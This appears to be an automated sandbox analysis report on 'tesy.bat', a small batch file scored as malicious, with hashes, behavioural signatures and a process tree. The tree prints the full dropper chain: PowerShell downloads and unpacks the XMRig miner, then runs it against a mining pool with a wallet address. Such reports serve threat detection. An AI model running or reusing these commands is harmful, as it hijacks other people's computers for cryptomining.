Analysis

  • max time kernel
    1810s
  • max time network
    1814s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 07:19

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2132
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4160
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2184
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2120

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          56efdb5a0f10b5eece165de4f8c9d799

          SHA1

          fa5de7ca343b018c3bfeab692545eb544c244e16

          SHA256

          6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

          SHA512

          91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          73efc049a654cfe2ef1ee324f36ffa15

          SHA1

          6d28a2fb50be7602f58c835f80d54fd2c82e7b8c

          SHA256

          6f0a7c97e063f01a34e963ea2f7cda0770d0356dc9dfa2b25cd73a94ba4a6986

          SHA512

          d1c476a7b88b785a2c24e015662fae677139cd4b2bc96b56c17d824d2fe8bfb2f681582b32673cd361ee3ed05deede96f147331a4b9b4be1ed96a854da42868f

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yt5jjewg.3cg.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

          Filesize

          19KB

          MD5

          41bc533c39677f20fe97cbb63633f6ec

          SHA1

          abb0d23f584fd454a8cac0453454d52a53d0cfa5

          SHA256

          07948b543e46a7b7be14b1f68ffacfeecbcb225f693eea4c3da66c76a0cc5e6b

          SHA512

          cdc5ca0e8794a72750ac9f6dbe85b41bff9b7a2b8ecd89d820aa5cd726bb7120a54d2de59cfb0436fc203e471f253894de875a5198857a85604c18ee6c81ea0b

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

          Filesize

          305KB

          MD5

          c5fc93ce27637f55ed17e8d7f0e02eb5

          SHA1

          b3b88a53b29b4364178f3fbe390fa43cb82eee48

          SHA256

          e6f8f8b506c4657a251baabe84cd54a79a8a2e80ddb3bb36ed92789c8bff2934

          SHA512

          669087d8b650d1108757bb5e0c615b6f4215d38947e56d0f0f021c0b4e5828a67bd20ebe3d1387012e3dc46d53221f4aef0d00cf7f5ece8271be13baa7d36d65

        • memory/2120-147-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-123-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-188-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-187-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-186-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-185-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-184-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-183-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-182-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-181-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-180-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-179-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-178-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-177-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-120-0x00000149F7C50000-0x00000149F7C70000-memory.dmp

          Filesize

          128KB

        • memory/2120-121-0x00000149F9450000-0x00000149F9490000-memory.dmp

          Filesize

          256KB

        • memory/2120-122-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-150-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-125-0x00000149F94B0000-0x00000149F94D0000-memory.dmp

          Filesize

          128KB

        • memory/2120-124-0x00000149F9490000-0x00000149F94B0000-memory.dmp

          Filesize

          128KB

        • memory/2120-126-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-127-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-128-0x00000149F9490000-0x00000149F94B0000-memory.dmp

          Filesize

          128KB

        • memory/2120-129-0x00000149F94B0000-0x00000149F94D0000-memory.dmp

          Filesize

          128KB

        • memory/2120-130-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-131-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-132-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-133-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-134-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-135-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-136-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-137-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-138-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-139-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-140-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-141-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-142-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-143-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-144-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-145-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-149-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-176-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-175-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-146-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-148-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-151-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-152-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-153-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-154-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-155-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-156-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-157-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-158-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-159-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-160-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-161-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-162-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-163-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-164-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-165-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-166-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-167-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-168-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-169-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-170-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-171-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-172-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-173-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2120-174-0x00007FF64BDF0000-0x00007FF64C8F3000-memory.dmp

          Filesize

          11.0MB

        • memory/2184-66-0x0000016933AC0000-0x0000016933AD0000-memory.dmp

          Filesize

          64KB

        • memory/2184-38-0x00007FFBB2640000-0x00007FFBB302C000-memory.dmp

          Filesize

          9.9MB

        • memory/2184-41-0x0000016933AC0000-0x0000016933AD0000-memory.dmp

          Filesize

          64KB

        • memory/2184-117-0x00007FFBB2640000-0x00007FFBB302C000-memory.dmp

          Filesize

          9.9MB

        • memory/2184-80-0x000001694C0B0000-0x000001694C0C2000-memory.dmp

          Filesize

          72KB

        • memory/2184-42-0x0000016933AC0000-0x0000016933AD0000-memory.dmp

          Filesize

          64KB

        • memory/2184-93-0x000001694BF10000-0x000001694BF1A000-memory.dmp

          Filesize

          40KB

        • memory/4160-26-0x00007FFBB2640000-0x00007FFBB302C000-memory.dmp

          Filesize

          9.9MB

        • memory/4160-4-0x000001FAB2820000-0x000001FAB2842000-memory.dmp

          Filesize

          136KB

        • memory/4160-5-0x00007FFBB2640000-0x00007FFBB302C000-memory.dmp

          Filesize

          9.9MB

        • memory/4160-25-0x000001FA98950000-0x000001FA98960000-memory.dmp

          Filesize

          64KB

        • memory/4160-10-0x000001FAB29D0000-0x000001FAB2A46000-memory.dmp

          Filesize

          472KB

        • memory/4160-7-0x000001FA98950000-0x000001FA98960000-memory.dmp

          Filesize

          64KB

        • memory/4160-6-0x000001FA98950000-0x000001FA98960000-memory.dmp

          Filesize

          64KB

        • memory/4160-27-0x000001FA98950000-0x000001FA98960000-memory.dmp

          Filesize

          64KB

        • memory/4160-28-0x000001FA98950000-0x000001FA98960000-memory.dmp

          Filesize

          64KB

        • memory/4160-29-0x000001FA98950000-0x000001FA98960000-memory.dmp

          Filesize

          64KB

        • memory/4160-34-0x00007FFBB2640000-0x00007FFBB302C000-memory.dmp

          Filesize

          9.9MB